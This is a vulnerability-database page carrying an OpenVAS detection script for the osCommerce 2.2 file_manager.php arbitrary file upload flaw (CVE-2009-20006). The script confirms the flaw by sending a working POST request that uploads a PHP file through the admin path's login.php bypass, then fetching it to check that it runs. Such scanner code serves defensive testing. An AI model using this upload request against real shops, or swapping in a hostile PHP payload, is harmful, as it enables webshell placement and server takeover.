osCommerce Online Merchant <= 2.2 'file_manager.php' Remote Arbitrary File Upload Vulnerability
🗓️ 01 Jun 2010 00:00:00Reported by Copyright (C) 2010 Greenbone AGType
openvas🔗 plugins.openvas.org👁 139 Views
| Reporter | Title | Published | Views | Family All 10 |
|---|---|---|---|---|
| CVE-2009-20006 | 16 Sep 202514:33 | – | attackerkb | |
| CVE-2009-20006 | 29 May 201815:50 | – | circl | |
| osCommerce 安全漏洞 | 16 Sep 202500:00 | – | cnnvd | |
| CVE-2009-20006 | 16 Sep 202514:33 | – | cve | |
| CVE-2009-20006 osCommerce <= 2.2 Admin File Manager Arbitrary PHP Code Execution | 16 Sep 202514:33 | – | cvelist | |
| EUVD-2009-5126 | 7 Oct 202500:30 | – | euvd | |
| CVE-2009-20006 | 16 Sep 202515:15 | – | nvd | |
| PT-2025-38002 | 16 Sep 202500:00 | – | ptsecurity | |
| CVE-2009-20006 | 18 Sep 202515:27 | – | redhatcve | |
| CVE-2009-20006 osCommerce <= 2.2 Admin File Manager Arbitrary PHP Code Execution | 16 Sep 202514:33 | – | vulnrichment |
# SPDX-FileCopyrightText: 2010 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
CPE = "cpe:/a:oscommerce:oscommerce";
if (description)
{
script_oid("1.3.6.1.4.1.25623.1.0.100661");
script_version("2025-09-18T05:38:39+0000");
script_tag(name:"last_modification", value:"2025-09-18 05:38:39 +0000 (Thu, 18 Sep 2025)");
script_tag(name:"creation_date", value:"2010-06-01 17:39:02 +0200 (Tue, 01 Jun 2010)");
script_tag(name:"cvss_base", value:"10.0");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:C/A:C");
script_cve_id("CVE-2009-20006");
script_tag(name:"qod_type", value:"remote_vul");
script_tag(name:"solution_type", value:"Workaround");
script_name("osCommerce Online Merchant <= 2.2 'file_manager.php' Remote Arbitrary File Upload Vulnerability");
script_category(ACT_ATTACK);
script_copyright("Copyright (C) 2010 Greenbone AG");
script_family("Web application abuses");
script_dependencies("gb_oscommerce_http_detect.nasl");
script_mandatory_keys("oscommerce/http/detected");
script_require_ports("Services/www", 443);
script_tag(name:"solution", value:"Delete the file 'file_manager.php' in your 'admin'
directory.");
script_tag(name:"summary", value:"Online Merchant module for osCommerce is prone to a remote
arbitrary-file-upload vulnerability because it fails to sufficiently sanitize user-supplied
input.");
script_tag(name:"impact", value:"Attackers can exploit this issue to upload arbitrary code and run
it in the context of the webserver process. This may facilitate unauthorized access or privilege
escalation. Other attacks are also possible.");
script_tag(name:"affected", value:"Online Merchant 2.2 is vulnerable. Other versions may also be
affected.");
script_xref(name:"URL", value:"https://web.archive.org/web/20210121201039/http://www.securityfocus.com/bid/40456");
script_xref(name:"URL", value:"https://www.exploit-db.com/exploits/9556");
script_xref(name:"URL", value:"https://www.exploit-db.com/exploits/16899");
exit(0);
}
include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");
include("misc_func.inc");
if( ! port = get_app_port( cpe:CPE, service:"www" ) )
exit( 0 );
if( ! dir = get_app_location( cpe:CPE, port:port ) )
exit( 0 );
if( dir == "/" )
dir = "";
host = http_host_name( port:port );
vt_strings = get_vt_strings();
file = vt_strings["default_rand"] + ".php";
exp = "filename=" + file + "&file_contents=%3C%3F+echo+%22" + vt_strings["default"] +
"%22%3B%3F%3E&submit=+++Save+++";
url = dir + "/admin/file_manager.php/login.php?action=save";
req = string(
"POST ", url, " HTTP/1.1\r\n",
"Content-Type: application/x-www-form-urlencoded\n",
"Host: ", host, "\r\n",
"Content-Length: ", strlen( exp ), "\r\n",
"Connection: close\r\n\r\n",
exp );
recv = http_keepalive_send_recv( data:req, port:port, bodyonly:TRUE );
req2 = http_get (item: dir + "/" + file, port:port );
recv2 = http_keepalive_send_recv( data:req2, port:port, bodyonly:TRUE );
if( ! recv2 )
exit( 0 );
if( vt_strings["default"] >< recv2 ) {
report = http_report_vuln_url( port:port, url:url );
report += string("\n\n",
"Note :\n\n",
"It was possible to upload and execute a file on the remote webserver.\n",
"The file is placed in directory: ", '"', dir, '"', "\n",
"and is named: ", '"', file, '"', "\n\n",
"You should delete this file as soon as possible!" );
security_message( port:port, data:report );
exit( 0 );
}
exit( 99 );
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
18 Sep 2025 00:00Current
7High risk
Vulners AI Score7
CVSS 49.3
EPSS0.01225
SSVC